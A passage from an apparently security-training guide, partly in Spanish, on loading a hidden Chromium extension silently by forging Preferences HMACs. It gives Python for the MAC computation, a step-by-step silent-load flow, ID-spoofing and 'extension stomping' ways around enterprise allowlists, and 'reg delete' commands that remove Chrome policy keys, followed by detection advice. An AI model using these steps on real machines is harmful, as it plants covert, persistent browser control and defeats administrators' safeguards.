val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Escribe los valores en:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
> Implementation tips
> - Usa exactamente la misma serialización JSON que Chromium usa al calcular los MACs (JSON compacto sin espacios en blanco funciona en la práctica; ordenar las claves puede ayudar a evitar problemas de orden).
> - Asegúrate de que extensions.ui.developer_mode exista y esté firmado en Chromium ≥134, o tu entrada unpacked no se activará.
## End‑to‑end silent load flow (Windows)
1) Genera un ID determinista e incorpora "key" en manifest.json; prepara una extensión MV3 unpacked con los permisos deseados (service worker/content scripts)
2) Crea extensions.settings.<id> insertando el manifest y los metadatos mínimos de instalación requeridos por Chromium (state, path para unpacked, etc.)
3) Extrae la HMAC seed de resources.pak (file 146) y calcula dos MACs: uno para el nodo settings y otro para extensions.ui.developer_mode (Chromium ≥134)
4) Escribe los nodos y MACs manipulados en Preferences/Secure Preferences del perfil objetivo; el siguiente lanzamiento activará automáticamente tu extensión con todos los privilegios declarados
## Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
1) Instala una extensión permitida del Web Store y anota su ID
2) Obtén su public key (p. ej., mediante chrome.runtime.getManifest().key en el background/service worker o extrayendo/analizando su .crx)
3) Establece esa key como manifest.key en tu extensión modificada para reproducir el mismo ID
4) Registra la entrada en Preferences y firma los MACs → se evaden las comprobaciones de ExtensionInstallAllowlist que solo coinciden por ID
- Extension stomping (ID collision precedence)
- Si una extensión local unpacked comparte ID con una extensión instalada desde el Web Store, Chromium prefiere la unpacked. Esto reemplaza efectivamente a la extensión legítima en chrome://extensions manteniendo el ID de confianza. Verificado en Chrome y Edge (p. ej., Adobe PDF)
- Neutralizing GPO via HKCU (requires admin)
- Las políticas de Chrome/Edge residen bajo HKCU\Software\Policies\*
- Con derechos de admin, elimina/modifica las claves de política antes de escribir tus entradas para evitar bloqueos:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## Fallback ruidoso: carga por línea de comandos
Desde Chromium ≥137, --load-extension también requiere pasar:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
Este enfoque es ampliamente conocido y monitorizado (por ejemplo, por EDR/DFIR; utilizado por commodity malware como Chromeloader). Preference MAC forging es más sigiloso.
Related flags and more cross‑platform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Impacto operativo
Una vez aceptada, la extensión se ejecuta con los permisos declarados, permitiendo acceso al DOM, intercepción/redirecciones de requests, acceso a cookies/almacenamiento y captura de pantallas — efectivamente ejecución de código en el navegador y persistencia duradera del perfil de usuario. El despliegue remoto vía SMB u otros canales es sencillo porque la activación está dirigida por datos vía Preferences.
## Detección y hardening
- Monitorear procesos no‑Chromium que escriban en Preferences/Secure Preferences, especialmente nuevos nodos bajo extensions.settings emparejados con entradas protection.macs
- Generar alertas por cambios inesperados de extensions.ui.developer_mode y por entradas de extensiones con HMAC válido pero no aprobadas
- Auditar HKCU/HKLM Software\Policies por manipulación; aplicar políticas vía device management/Chrome Browser Cloud Management
- Preferir forced‑install desde la store con publishers verificados en lugar de allowlists que coincidan solo por extension ID
## Referencias
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}